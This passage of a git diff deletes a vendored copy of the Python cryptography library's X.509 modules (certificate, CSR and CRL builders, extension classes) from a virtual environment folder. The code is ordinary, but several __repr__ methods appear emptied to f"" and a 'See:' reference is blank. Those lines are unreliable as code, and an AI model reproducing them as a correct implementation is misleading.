hashes.SHA3_256, - hashes.SHA3_384, - hashes.SHA3_512, -] - - -class AttributeNotFound(Exception): - def __init__(self, msg: str, oid: ObjectIdentifier) -> None: - super().__init__(msg) - self.oid = oid - - -def _reject_duplicate_extension( - extension: Extension[ExtensionType], - extensions: list[Extension[ExtensionType]], -) -> None: - # This is quadratic in the number of extensions - for e in extensions: - if e.oid == extension.oid: - raise ValueError("This extension has already been set.") - - -def _reject_duplicate_attribute( - oid: ObjectIdentifier, - attributes: list[tuple[ObjectIdentifier, bytes, int | None]], -) -> None: - # This is quadratic in the number of attributes - for attr_oid, _, _ in attributes: - if attr_oid == oid: - raise ValueError("This attribute has already been set.") - - -def _convert_to_naive_utc_time(time: datetime.datetime) -> datetime.datetime: - """Normalizes a datetime to a naive datetime in UTC. - - time -- datetime to normalize. Assumed to be in UTC if not timezone - aware. - """ - if time.tzinfo is not None: - offset = time.utcoffset() - offset = offset if offset else datetime.timedelta() - return time.replace(tzinfo=None) - offset - else: - return time - - -class Attribute: - def __init__( - self, - oid: ObjectIdentifier, - value: bytes, - _type: int = _ASN1Type.UTF8String.value, - ) -> None: - self._oid = oid - self._value = value - self._type = _type - - @property - def oid(self) -> ObjectIdentifier: - return self._oid - - @property - def value(self) -> bytes: - return self._value - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Attribute): - return NotImplemented - - return ( - self.oid == other.oid - and self.value == other.value - and self._type == other._type - ) - - def __hash__(self) -> int: - return hash((self.oid, self.value, self._type)) - - -class Attributes: - def __init__( - self, - attributes: Iterable[Attribute], - ) -> None: - self._attributes = list(attributes) - - __len__, __iter__, __getitem__ = _make_sequence_methods("_attributes") - - def __repr__(self) -> str: - return f"" - - def get_attribute_for_oid(self, oid: ObjectIdentifier) -> Attribute: - for attr in self: - if attr.oid == oid: - return attr - - raise AttributeNotFound(f"No {oid} attribute was found", oid) - - -class Version(utils.Enum): - v1 = 0 - v3 = 2 - - -class InvalidVersion(Exception): - def __init__(self, msg: str, parsed_version: int) -> None: - super().__init__(msg) - self.parsed_version = parsed_version - - -Certificate = rust_x509.Certificate -RevokedCertificate = rust_x509.RevokedCertificate - - -CertificateRevocationList = rust_x509.CertificateRevocationList -CertificateSigningRequest = rust_x509.CertificateSigningRequest - - -load_pem_x509_certificate = rust_x509.load_pem_x509_certificate -load_der_x509_certificate = rust_x509.load_der_x509_certificate - -load_pem_x509_certificates = rust_x509.load_pem_x509_certificates - -load_pem_x509_csr = rust_x509.load_pem_x509_csr -load_der_x509_csr = rust_x509.load_der_x509_csr - -load_pem_x509_crl = rust_x509.load_pem_x509_crl -load_der_x509_crl = rust_x509.load_der_x509_crl - - -class CertificateSigningRequestBuilder: - def __init__( - self, - subject_name: Name | None = None, - extensions: list[Extension[ExtensionType]] = [], - attributes: list[tuple[ObjectIdentifier, bytes, int | None]] = [], - ): - """ - Creates an empty X.509 certificate request (v1). - """ - self._subject_name = subject_name - self._extensions = extensions - self._attributes = attributes - - def subject_name(self, name: Name) -> CertificateSigningRequestBuilder: - """ - Sets the certificate requestor's distinguished name. - """ - if not isinstance(name, Name): - raise TypeError("Expecting x509.Name object.") - if self._subject_name is not None: - raise ValueError("The subject name may only be set once.") - return CertificateSigningRequestBuilder( - name, self._extensions, self._attributes - ) - - def add_extension( - self, extval: ExtensionType, critical: bool - ) -> CertificateSigningRequestBuilder: - """ - Adds an X.509 extension to the certificate request. - """ - if not isinstance(extval, ExtensionType): - raise TypeError("extension must be an ExtensionType") - - extension = Extension(extval.oid, critical, extval) - _reject_duplicate_extension(extension, self._extensions) - - return CertificateSigningRequestBuilder( - self._subject_name, - [*self._extensions, extension], - self._attributes, - ) - - def add_attribute( - self, - oid: ObjectIdentifier, - value: bytes, - *, - _tag: _ASN1Type | None = None, - ) -> CertificateSigningRequestBuilder: - """ - Adds an X.509 attribute with an OID and associated value. - """ - if not isinstance(oid, ObjectIdentifier): - raise TypeError("oid must be an ObjectIdentifier") - - if not isinstance(value, bytes): - raise TypeError("value must be bytes") - - if _tag is not None and not isinstance(_tag, _ASN1Type): - raise TypeError("tag must be _ASN1Type") - - _reject_duplicate_attribute(oid, self._attributes) - - if _tag is not None: - tag = _tag.value - else: - tag = None - - return CertificateSigningRequestBuilder( - self._subject_name, - self._extensions, - [*self._attributes, (oid, value, tag)], - ) - - def sign( - self, - private_key: CertificateIssuerPrivateKeyTypes, - algorithm: _AllowedHashTypes | None, - backend: typing.Any = None, - *, - rsa_padding: padding.PSS | padding.PKCS1v15 | None = None, - ecdsa_deterministic: bool | None = None, - ) -> CertificateSigningRequest: - """ - Signs the request using the requestor's private key. - """ - if self._subject_name is None: - raise ValueError("A CertificateSigningRequest must have a subject") - - if rsa_padding is not None: - if not isinstance(rsa_padding, (padding.PSS, padding.PKCS1v15)): - raise TypeError("Padding must be PSS or PKCS1v15") - if not isinstance(private_key, rsa.RSAPrivateKey): - raise TypeError("Padding is only supported for RSA keys") - - if ecdsa_deterministic is not None: - if not isinstance(private_key, ec.EllipticCurvePrivateKey): - raise TypeError( - "Deterministic ECDSA is only supported for EC keys" - ) - - return rust_x509.create_x509_csr( - self, - private_key, - algorithm, - rsa_padding, - ecdsa_deterministic, - ) - - -class CertificateBuilder: - _extensions: list[Extension[ExtensionType]] - - def __init__( - self, - issuer_name: Name | None = None, - subject_name: Name | None = None, - public_key: CertificatePublicKeyTypes | None = None, - serial_number: int | None = None, - not_valid_before: datetime.datetime | None = None, - not_valid_after: datetime.datetime | None = None, - extensions: list[Extension[ExtensionType]] = [], - public_key_rsa_padding: type[padding.PSS] | None = None, - ) -> None: - self._version = Version.v3 - self._issuer_name = issuer_name - self._subject_name = subject_name - self._public_key = public_key - self._serial_number = serial_number - self._not_valid_before = not_valid_before - self._not_valid_after = not_valid_after - self._extensions = extensions - self._public_key_rsa_padding = public_key_rsa_padding - - def issuer_name(self, name: Name) -> CertificateBuilder: - """ - Sets the CA's distinguished name. - """ - if not isinstance(name, Name): - raise TypeError("Expecting x509.Name object.") - if self._issuer_name is not None: - raise ValueError("The issuer name may only be set once.") - return CertificateBuilder( - name, - self._subject_name, - self._public_key, - self._serial_number, - self._not_valid_before, - self._not_valid_after, - self._extensions, - self._public_key_rsa_padding, - ) - - def subject_name(self, name: Name) -> CertificateBuilder: - """ - Sets the requestor's distinguished name. - """ - if not isinstance(name, Name): - raise TypeError("Expecting x509.Name object.") - if self._subject_name is not None: - raise ValueError("The subject name may only be set once.") - return CertificateBuilder( - self._issuer_name, - name, - self._public_key, - self._serial_number, - self._not_valid_before, - self._not_valid_after, - self._extensions, - self._public_key_rsa_padding, - ) - - def public_key( - self, - key: CertificatePublicKeyTypes, - *, - rsa_padding: type[padding.PSS] | None = None, - ) -> CertificateBuilder: - """ - Sets the requestor's public key (as found in the signing request). - """ - if not isinstance( - key, - ( - dsa.DSAPublicKey, - rsa.RSAPublicKey, - ec.EllipticCurvePublicKey, - ed25519.Ed25519PublicKey, - ed448.Ed448PublicKey, - mldsa.MLDSA44PublicKey, - mldsa.MLDSA65PublicKey, - mldsa.MLDSA87PublicKey, - mlkem.MLKEM768PublicKey, - mlkem.MLKEM1024PublicKey, - x25519.X25519PublicKey, - x448.X448PublicKey, - ), - ): - raise TypeError( - "Expecting one of DSAPublicKey, RSAPublicKey," - " EllipticCurvePublicKey, Ed25519PublicKey," - " Ed448PublicKey, MLDSA44PublicKey, MLDSA65PublicKey," - " MLDSA87PublicKey, MLKEM768PublicKey, MLKEM1024PublicKey," - " X25519PublicKey or X448PublicKey." - ) - if rsa_padding is not None: - if rsa_padding is not padding.PSS: - raise TypeError( - "rsa_padding must be the PSS class, not an instance" - ) - if not isinstance(key, rsa.RSAPublicKey): - raise TypeError( - "rsa_padding is only supported with RSA public keys" - ) - if self._public_key is not None: - raise ValueError("The public key may only be set once.") - return CertificateBuilder( - self._issuer_name, - self._subject_name, - key, - self._serial_number, - self._not_valid_before, - self._not_valid_after, - self._extensions, - rsa_padding, - ) - - def serial_number(self, number: int) -> CertificateBuilder: - """ - Sets the certificate serial number. - """ - if not isinstance(number, int): - raise TypeError("Serial number must be of integral type.") - if self._serial_number is not None: - raise ValueError("The serial number may only be set once.") - if number <= 0: - raise ValueError("The serial number should be positive.") - - # ASN.1 integers are always signed, so most significant bit must be - # zero. - if number.bit_length() >= 160: # As defined in RFC 5280 - raise ValueError( - "The serial number should not be more than 159 bits." - ) - return CertificateBuilder( - self._issuer_name, - self._subject_name, - self._public_key, - number, - self._not_valid_before, - self._not_valid_after, - self._extensions, - self._public_key_rsa_padding, - ) - - def not_valid_before(self, time: datetime.datetime) -> CertificateBuilder: - """ - Sets the certificate activation time. - """ - if not isinstance(time, datetime.datetime): - raise TypeError("Expecting datetime object.") - if self._not_valid_before is not None: - raise ValueError("The not valid before may only be set once.") - time = _convert_to_naive_utc_time(time) - if time < _EARLIEST_UTC_TIME: - raise ValueError( - "The not valid before date must be on or after" - " 1950 January 1)." - ) - if self._not_valid_after is not None and time > self._not_valid_after: - raise ValueError( - "The not valid before date must be before the not valid after " - "date." - ) - return CertificateBuilder( - self._issuer_name, - self._subject_name, - self._public_key, - self._serial_number, - time, - self._not_valid_after, - self._extensions, - self._public_key_rsa_padding, - ) - - def not_valid_after(self, time: datetime.datetime) -> CertificateBuilder: - """ - Sets the certificate expiration time. - """ - if not isinstance(time, datetime.datetime): - raise TypeError("Expecting datetime object.") - if self._not_valid_after is not None: - raise ValueError("The not valid after may only be set once.") - time = _convert_to_naive_utc_time(time) - if time < _EARLIEST_UTC_TIME: - raise ValueError( - "The not valid after date must be on or after 1950 January 1." - ) - if ( - self._not_valid_before is not None - and time < self._not_valid_before - ): - raise ValueError( - "The not valid after date must be after the not valid before " - "date." - ) - return CertificateBuilder( - self._issuer_name, - self._subject_name, - self._public_key, - self._serial_number, - self._not_valid_before, - time, - self._extensions, - self._public_key_rsa_padding, - ) - - def add_extension( - self, extval: ExtensionType, critical: bool - ) -> CertificateBuilder: - """ - Adds an X.509 extension to the certificate. - """ - if not isinstance(extval, ExtensionType): - raise TypeError("extension must be an ExtensionType") - - extension = Extension(extval.oid, critical, extval) - _reject_duplicate_extension(extension, self._extensions) - - return CertificateBuilder( - self._issuer_name, - self._subject_name, - self._public_key, - self._serial_number, - self._not_valid_before, - self._not_valid_after, - [*self._extensions, extension], - self._public_key_rsa_padding, - ) - - def sign( - self, - private_key: CertificateIssuerPrivateKeyTypes, - algorithm: _AllowedHashTypes | None, - backend: typing.Any = None, - *, - rsa_padding: padding.PSS | padding.PKCS1v15 | None = None, - ecdsa_deterministic: bool | None = None, - ) -> Certificate: - """ - Signs the certificate using the CA's private key. - """ - if self._subject_name is None: - raise ValueError("A certificate must have a subject name") - - if self._issuer_name is None: - raise ValueError("A certificate must have an issuer name") - - if self._serial_number is None: - raise ValueError("A certificate must have a serial number") - - if self._not_valid_before is None: - raise ValueError("A certificate must have a not valid before time") - - if self._not_valid_after is None: - raise ValueError("A certificate must have a not valid after time") - - if self._public_key is None: - raise ValueError("A certificate must have a public key") - - if private_key is None: - raise TypeError("Need private key to sign certificate") - - if rsa_padding is not None: - if not isinstance(rsa_padding, (padding.PSS, padding.PKCS1v15)): - raise TypeError("Padding must be PSS or PKCS1v15") - if not isinstance(private_key, rsa.RSAPrivateKey): - raise TypeError("Padding is only supported for RSA keys") - - if ecdsa_deterministic is not None: - if not isinstance(private_key, ec.EllipticCurvePrivateKey): - raise TypeError( - "Deterministic ECDSA is only supported for EC keys" - ) - - return rust_x509.create_x509_certificate( - self, - private_key, - algorithm, - rsa_padding, - ecdsa_deterministic, - ) - - def create_unsigned(self) -> Certificate: - """ - Creates an unsigned certificate, per RFC 9925. - """ - if self._subject_name is None: - raise ValueError("A certificate must have a subject name") - - if self._issuer_name is None: - raise ValueError("A certificate must have an issuer name") - - if self._serial_number is None: - raise ValueError("A certificate must have a serial number") - - if self._not_valid_before is None: - raise ValueError("A certificate must have a not valid before time") - - if self._not_valid_after is None: - raise ValueError("A certificate must have a not valid after time") - - if self._public_key is None: - raise ValueError("A certificate must have a public key") - - return rust_x509.create_x509_certificate( - self, - private_key=None, - hash_algorithm=None, - rsa_padding=None, - ecdsa_deterministic=None, - ) - - -class CertificateRevocationListBuilder: - _extensions: list[Extension[ExtensionType]] - _revoked_certificates: list[RevokedCertificate] - - def __init__( - self, - issuer_name: Name | None = None, - last_update: datetime.datetime | None = None, - next_update: datetime.datetime | None = None, - extensions: list[Extension[ExtensionType]] = [], - revoked_certificates: list[RevokedCertificate] = [], - ): - self._issuer_name = issuer_name - self._last_update = last_update - self._next_update = next_update - self._extensions = extensions - self._revoked_certificates = revoked_certificates - - def issuer_name( - self, issuer_name: Name - ) -> CertificateRevocationListBuilder: - if not isinstance(issuer_name, Name): - raise TypeError("Expecting x509.Name object.") - if self._issuer_name is not None: - raise ValueError("The issuer name may only be set once.") - return CertificateRevocationListBuilder( - issuer_name, - self._last_update, - self._next_update, - self._extensions, - self._revoked_certificates, - ) - - def last_update( - self, last_update: datetime.datetime - ) -> CertificateRevocationListBuilder: - if not isinstance(last_update, datetime.datetime): - raise TypeError("Expecting datetime object.") - if self._last_update is not None: - raise ValueError("Last update may only be set once.") - last_update = _convert_to_naive_utc_time(last_update) - if last_update < _EARLIEST_UTC_TIME: - raise ValueError( - "The last update date must be on or after 1950 January 1." - ) - if self._next_update is not None and last_update > self._next_update: - raise ValueError( - "The last update date must be before the next update date." - ) - return CertificateRevocationListBuilder( - self._issuer_name, - last_update, - self._next_update, - self._extensions, - self._revoked_certificates, - ) - - def next_update( - self, next_update: datetime.datetime - ) -> CertificateRevocationListBuilder: - if not isinstance(next_update, datetime.datetime): - raise TypeError("Expecting datetime object.") - if self._next_update is not None: - raise ValueError("Last update may only be set once.") - next_update = _convert_to_naive_utc_time(next_update) - if next_update < _EARLIEST_UTC_TIME: - raise ValueError( - "The last update date must be on or after 1950 January 1." - ) - if self._last_update is not None and next_update < self._last_update: - raise ValueError( - "The next update date must be after the last update date." - ) - return CertificateRevocationListBuilder( - self._issuer_name, - self._last_update, - next_update, - self._extensions, - self._revoked_certificates, - ) - - def add_extension( - self, extval: ExtensionType, critical: bool - ) -> CertificateRevocationListBuilder: - """ - Adds an X.509 extension to the certificate revocation list. - """ - if not isinstance(extval, ExtensionType): - raise TypeError("extension must be an ExtensionType") - - extension = Extension(extval.oid, critical, extval) - _reject_duplicate_extension(extension, self._extensions) - return CertificateRevocationListBuilder( - self._issuer_name, - self._last_update, - self._next_update, - [*self._extensions, extension], - self._revoked_certificates, - ) - - def add_revoked_certificate( - self, revoked_certificate: RevokedCertificate - ) -> CertificateRevocationListBuilder: - """ - Adds a revoked certificate to the CRL. - """ - if not isinstance(revoked_certificate, RevokedCertificate): - raise TypeError("Must be an instance of RevokedCertificate") - - return CertificateRevocationListBuilder( - self._issuer_name, - self._last_update, - self._next_update, - self._extensions, - [*self._revoked_certificates, revoked_certificate], - ) - - def sign( - self, - private_key: CertificateIssuerPrivateKeyTypes, - algorithm: _AllowedHashTypes | None, - backend: typing.Any = None, - *, - rsa_padding: padding.PSS | padding.PKCS1v15 | None = None, - ecdsa_deterministic: bool | None = None, - ) -> CertificateRevocationList: - if self._issuer_name is None: - raise ValueError("A CRL must have an issuer name") - - if self._last_update is None: - raise ValueError("A CRL must have a last update time") - - if self._next_update is None: - raise ValueError("A CRL must have a next update time") - - if rsa_padding is not None: - if not isinstance(rsa_padding, (padding.PSS, padding.PKCS1v15)): - raise TypeError("Padding must be PSS or PKCS1v15") - if not isinstance(private_key, rsa.RSAPrivateKey): - raise TypeError("Padding is only supported for RSA keys") - - if ecdsa_deterministic is not None: - if not isinstance(private_key, ec.EllipticCurvePrivateKey): - raise TypeError( - "Deterministic ECDSA is only supported for EC keys" - ) - - return rust_x509.create_x509_crl( - self, - private_key, - algorithm, - rsa_padding, - ecdsa_deterministic, - ) - - -class RevokedCertificateBuilder: - def __init__( - self, - serial_number: int | None = None, - revocation_date: datetime.datetime | None = None, - extensions: list[Extension[ExtensionType]] = [], - ): - self._serial_number = serial_number - self._revocation_date = revocation_date - self._extensions = extensions - - def serial_number(self, number: int) -> RevokedCertificateBuilder: - if not isinstance(number, int): - raise TypeError("Serial number must be of integral type.") - if self._serial_number is not None: - raise ValueError("The serial number may only be set once.") - if number <= 0: - raise ValueError("The serial number should be positive") - - # ASN.1 integers are always signed, so most significant bit must be - # zero. - if number.bit_length() >= 160: # As defined in RFC 5280 - raise ValueError( - "The serial number should not be more than 159 bits." - ) - return RevokedCertificateBuilder( - number, self._revocation_date, self._extensions - ) - - def revocation_date( - self, time: datetime.datetime - ) -> RevokedCertificateBuilder: - if not isinstance(time, datetime.datetime): - raise TypeError("Expecting datetime object.") - if self._revocation_date is not None: - raise ValueError("The revocation date may only be set once.") - time = _convert_to_naive_utc_time(time) - if time < _EARLIEST_UTC_TIME: - raise ValueError( - "The revocation date must be on or after 1950 January 1." - ) - return RevokedCertificateBuilder( - self._serial_number, time, self._extensions - ) - - def add_extension( - self, extval: ExtensionType, critical: bool - ) -> RevokedCertificateBuilder: - if not isinstance(extval, ExtensionType): - raise TypeError("extension must be an ExtensionType") - - extension = Extension(extval.oid, critical, extval) - _reject_duplicate_extension(extension, self._extensions) - return RevokedCertificateBuilder( - self._serial_number, - self._revocation_date, - [*self._extensions, extension], - ) - - def build(self, backend: typing.Any = None) -> RevokedCertificate: - if self._serial_number is None: - raise ValueError("A revoked certificate must have a serial number") - if self._revocation_date is None: - raise ValueError( - "A revoked certificate must have a revocation date" - ) - return rust_x509.create_revoked_certificate(self) - - -def random_serial_number() -> int: - return int.from_bytes(os.urandom(20), "big") >> 1 diff --git a/venv/Lib/site-packages/cryptography/x509/certificate_transparency.py b/venv/Lib/site-packages/cryptography/x509/certificate_transparency.py deleted file mode 100644 index fb66cc6049528dd012f07bfcef765e284d0062d2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/certificate_transparency.py +++ /dev/null @@ -1,35 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography import utils -from cryptography.hazmat.bindings._rust import x509 as rust_x509 - - -class LogEntryType(utils.Enum): - X509_CERTIFICATE = 0 - PRE_CERTIFICATE = 1 - - -class Version(utils.Enum): - v1 = 0 - - -class SignatureAlgorithm(utils.Enum): - """ - Signature algorithms that are valid for SCTs. - - These are exactly the same as SignatureAlgorithm in RFC 5246 (TLS 1.2). - - See: - """ - - ANONYMOUS = 0 - RSA = 1 - DSA = 2 - ECDSA = 3 - - -SignedCertificateTimestamp = rust_x509.Sct diff --git a/venv/Lib/site-packages/cryptography/x509/extensions.py b/venv/Lib/site-packages/cryptography/x509/extensions.py deleted file mode 100644 index dc7728e23e6719e769f440848d2a5dc7ec5912aa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/extensions.py +++ /dev/null @@ -1,2533 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc -import datetime -import hashlib -import ipaddress -import typing -from collections.abc import Iterable, Iterator - -from cryptography import utils -from cryptography.hazmat.bindings._rust import asn1 -from cryptography.hazmat.bindings._rust import x509 as rust_x509 -from cryptography.hazmat.primitives import _serialization, constant_time -from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey -from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey -from cryptography.hazmat.primitives.asymmetric.types import ( - CertificateIssuerPublicKeyTypes, - CertificatePublicKeyTypes, -) -from cryptography.x509.certificate_transparency import ( - SignedCertificateTimestamp, -) -from cryptography.x509.general_name import ( - DirectoryName, - DNSName, - GeneralName, - IPAddress, - OtherName, - RegisteredID, - RFC822Name, - UniformResourceIdentifier, - _IPAddressTypes, -) -from cryptography.x509.name import Name, RelativeDistinguishedName -from cryptography.x509.oid import ( - CRLEntryExtensionOID, - ExtensionOID, - ObjectIdentifier, - OCSPExtensionOID, -) - -ExtensionTypeVar = typing.TypeVar( - "ExtensionTypeVar", bound="ExtensionType", covariant=True -) - - -def _key_identifier_from_public_key( - public_key: CertificatePublicKeyTypes, -) -> bytes: - if isinstance(public_key, RSAPublicKey): - data = public_key.public_bytes( - _serialization.Encoding.DER, - _serialization.PublicFormat.PKCS1, - ) - elif isinstance(public_key, EllipticCurvePublicKey): - data = public_key.public_bytes( - _serialization.Encoding.X962, - _serialization.PublicFormat.UncompressedPoint, - ) - else: - # This is a very slow way to do this. - serialized = public_key.public_bytes( - _serialization.Encoding.DER, - _serialization.PublicFormat.SubjectPublicKeyInfo, - ) - data = asn1.parse_spki_for_data(serialized) - - return hashlib.sha1(data).digest() - - -def _make_sequence_methods(field_name: str): - def len_method(self) -> int: - return len(getattr(self, field_name)) - - def iter_method(self): - return iter(getattr(self, field_name)) - - def getitem_method(self, idx): - return getattr(self, field_name)[idx] - - return len_method, iter_method, getitem_method - - -class DuplicateExtension(Exception): - def __init__(self, msg: str, oid: ObjectIdentifier) -> None: - super().__init__(msg) - self.oid = oid - - -class ExtensionNotFound(Exception): - def __init__(self, msg: str, oid: ObjectIdentifier) -> None: - super().__init__(msg) - self.oid = oid - - -class ExtensionType(metaclass=abc.ABCMeta): - oid: typing.ClassVar[ObjectIdentifier] - - def public_bytes(self) -> bytes: - """ - Serializes the extension type to DER. - """ - raise NotImplementedError( - f"public_bytes is not implemented for extension type {self!r}" - ) - - -class Extensions: - def __init__(self, extensions: Iterable[Extension[ExtensionType]]) -> None: - self._extensions = list(extensions) - - def get_extension_for_oid( - self, oid: ObjectIdentifier - ) -> Extension[ExtensionType]: - for ext in self: - if ext.oid == oid: - return ext - - raise ExtensionNotFound(f"No {oid} extension was found", oid) - - def get_extension_for_class( - self, extclass: type[ExtensionTypeVar] - ) -> Extension[ExtensionTypeVar]: - if extclass is UnrecognizedExtension: - raise TypeError( - "UnrecognizedExtension can't be used with " - "get_extension_for_class because more than one instance of the" - " class may be present." - ) - - for ext in self: - if isinstance(ext.value, extclass): - return ext - - raise ExtensionNotFound( - f"No {extclass} extension was found", extclass.oid - ) - - __len__, __iter__, __getitem__ = _make_sequence_methods("_extensions") - - def __repr__(self) -> str: - return f"" - - -class CRLNumber(ExtensionType): - oid = ExtensionOID.CRL_NUMBER - - def __init__(self, crl_number: int) -> None: - if not isinstance(crl_number, int): - raise TypeError("crl_number must be an integer") - - self._crl_number = crl_number - - def __eq__(self, other: object) -> bool: - if not isinstance(other, CRLNumber): - return NotImplemented - - return self.crl_number == other.crl_number - - def __hash__(self) -> int: - return hash(self.crl_number) - - def __repr__(self) -> str: - return f"" - - @property - def crl_number(self) -> int: - return self._crl_number - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class AuthorityKeyIdentifier(ExtensionType): - oid = ExtensionOID.AUTHORITY_KEY_IDENTIFIER - - def __init__( - self, - key_identifier: bytes | None, - authority_cert_issuer: Iterable[GeneralName] | None, - authority_cert_serial_number: int | None, - ) -> None: - if (authority_cert_issuer is None) != ( - authority_cert_serial_number is None - ): - raise ValueError( - "authority_cert_issuer and authority_cert_serial_number " - "must both be present or both None" - ) - - if authority_cert_issuer is not None: - authority_cert_issuer = list(authority_cert_issuer) - if not all( - isinstance(x, GeneralName) for x in authority_cert_issuer - ): - raise TypeError( - "authority_cert_issuer must be a list of GeneralName " - "objects" - ) - - if authority_cert_serial_number is not None and not isinstance( - authority_cert_serial_number, int - ): - raise TypeError("authority_cert_serial_number must be an integer") - - self._key_identifier = key_identifier - self._authority_cert_issuer = authority_cert_issuer - self._authority_cert_serial_number = authority_cert_serial_number - - # This takes a subset of CertificatePublicKeyTypes because an issuer - # cannot have an X25519/X448 key. This introduces some unfortunate - # asymmetry that requires typing users to explicitly - # narrow their type, but we should make this accurate and not just - # convenient. - @classmethod - def from_issuer_public_key( - cls, public_key: CertificateIssuerPublicKeyTypes - ) -> AuthorityKeyIdentifier: - digest = _key_identifier_from_public_key(public_key) - return cls( - key_identifier=digest, - authority_cert_issuer=None, - authority_cert_serial_number=None, - ) - - @classmethod - def from_issuer_subject_key_identifier( - cls, ski: SubjectKeyIdentifier - ) -> AuthorityKeyIdentifier: - return cls( - key_identifier=ski.digest, - authority_cert_issuer=None, - authority_cert_serial_number=None, - ) - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, AuthorityKeyIdentifier): - return NotImplemented - - return ( - self.key_identifier == other.key_identifier - and self.authority_cert_issuer == other.authority_cert_issuer - and self.authority_cert_serial_number - == other.authority_cert_serial_number - ) - - def __hash__(self) -> int: - if self.authority_cert_issuer is None: - aci = None - else: - aci = tuple(self.authority_cert_issuer) - return hash( - (self.key_identifier, aci, self.authority_cert_serial_number) - ) - - @property - def key_identifier(self) -> bytes | None: - return self._key_identifier - - @property - def authority_cert_issuer( - self, - ) -> list[GeneralName] | None: - return self._authority_cert_issuer - - @property - def authority_cert_serial_number(self) -> int | None: - return self._authority_cert_serial_number - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class SubjectKeyIdentifier(ExtensionType): - oid = ExtensionOID.SUBJECT_KEY_IDENTIFIER - - def __init__(self, digest: bytes) -> None: - self._digest = digest - - @classmethod - def from_public_key( - cls, public_key: CertificatePublicKeyTypes - ) -> SubjectKeyIdentifier: - return cls(_key_identifier_from_public_key(public_key)) - - @property - def digest(self) -> bytes: - return self._digest - - @property - def key_identifier(self) -> bytes: - return self._digest - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SubjectKeyIdentifier): - return NotImplemented - - return constant_time.bytes_eq(self.digest, other.digest) - - def __hash__(self) -> int: - return hash(self.digest) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class AuthorityInformationAccess(ExtensionType): - oid = ExtensionOID.AUTHORITY_INFORMATION_ACCESS - - def __init__(self, descriptions: Iterable[AccessDescription]) -> None: - descriptions = list(descriptions) - if not all(isinstance(x, AccessDescription) for x in descriptions): - raise TypeError( - "Every item in the descriptions list must be an " - "AccessDescription" - ) - - self._descriptions = descriptions - - __len__, __iter__, __getitem__ = _make_sequence_methods("_descriptions") - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, AuthorityInformationAccess): - return NotImplemented - - return self._descriptions == other._descriptions - - def __hash__(self) -> int: - return hash(tuple(self._descriptions)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class SubjectInformationAccess(ExtensionType): - oid = ExtensionOID.SUBJECT_INFORMATION_ACCESS - - def __init__(self, descriptions: Iterable[AccessDescription]) -> None: - descriptions = list(descriptions) - if not all(isinstance(x, AccessDescription) for x in descriptions): - raise TypeError( - "Every item in the descriptions list must be an " - "AccessDescription" - ) - - self._descriptions = descriptions - - __len__, __iter__, __getitem__ = _make_sequence_methods("_descriptions") - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, SubjectInformationAccess): - return NotImplemented - - return self._descriptions == other._descriptions - - def __hash__(self) -> int: - return hash(tuple(self._descriptions)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class AccessDescription: - def __init__( - self, access_method: ObjectIdentifier, access_location: GeneralName - ) -> None: - if not isinstance(access_method, ObjectIdentifier): - raise TypeError("access_method must be an ObjectIdentifier") - - if not isinstance(access_location, GeneralName): - raise TypeError("access_location must be a GeneralName") - - self._access_method = access_method - self._access_location = access_location - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, AccessDescription): - return NotImplemented - - return ( - self.access_method == other.access_method - and self.access_location == other.access_location - ) - - def __hash__(self) -> int: - return hash((self.access_method, self.access_location)) - - @property - def access_method(self) -> ObjectIdentifier: - return self._access_method - - @property - def access_location(self) -> GeneralName: - return self._access_location - - -class BasicConstraints(ExtensionType): - oid = ExtensionOID.BASIC_CONSTRAINTS - - def __init__(self, ca: bool, path_length: int | None) -> None: - if not isinstance(ca, bool): - raise TypeError("ca must be a boolean value") - - if path_length is not None and not ca: - raise ValueError("path_length must be None when ca is False") - - if path_length is not None and ( - not isinstance(path_length, int) or path_length < 0 - ): - raise TypeError( - "path_length must be a non-negative integer or None" - ) - - self._ca = ca - self._path_length = path_length - - @property - def ca(self) -> bool: - return self._ca - - @property - def path_length(self) -> int | None: - return self._path_length - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, BasicConstraints): - return NotImplemented - - return self.ca == other.ca and self.path_length == other.path_length - - def __hash__(self) -> int: - return hash((self.ca, self.path_length)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class DeltaCRLIndicator(ExtensionType): - oid = ExtensionOID.DELTA_CRL_INDICATOR - - def __init__(self, crl_number: int) -> None: - if not isinstance(crl_number, int): - raise TypeError("crl_number must be an integer") - - self._crl_number = crl_number - - @property - def crl_number(self) -> int: - return self._crl_number - - def __eq__(self, other: object) -> bool: - if not isinstance(other, DeltaCRLIndicator): - return NotImplemented - - return self.crl_number == other.crl_number - - def __hash__(self) -> int: - return hash(self.crl_number) - - def __repr__(self) -> str: - return f"" - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class CRLDistributionPoints(ExtensionType): - oid = ExtensionOID.CRL_DISTRIBUTION_POINTS - - def __init__( - self, distribution_points: Iterable[DistributionPoint] - ) -> None: - distribution_points = list(distribution_points) - if not all( - isinstance(x, DistributionPoint) for x in distribution_points - ): - raise TypeError( - 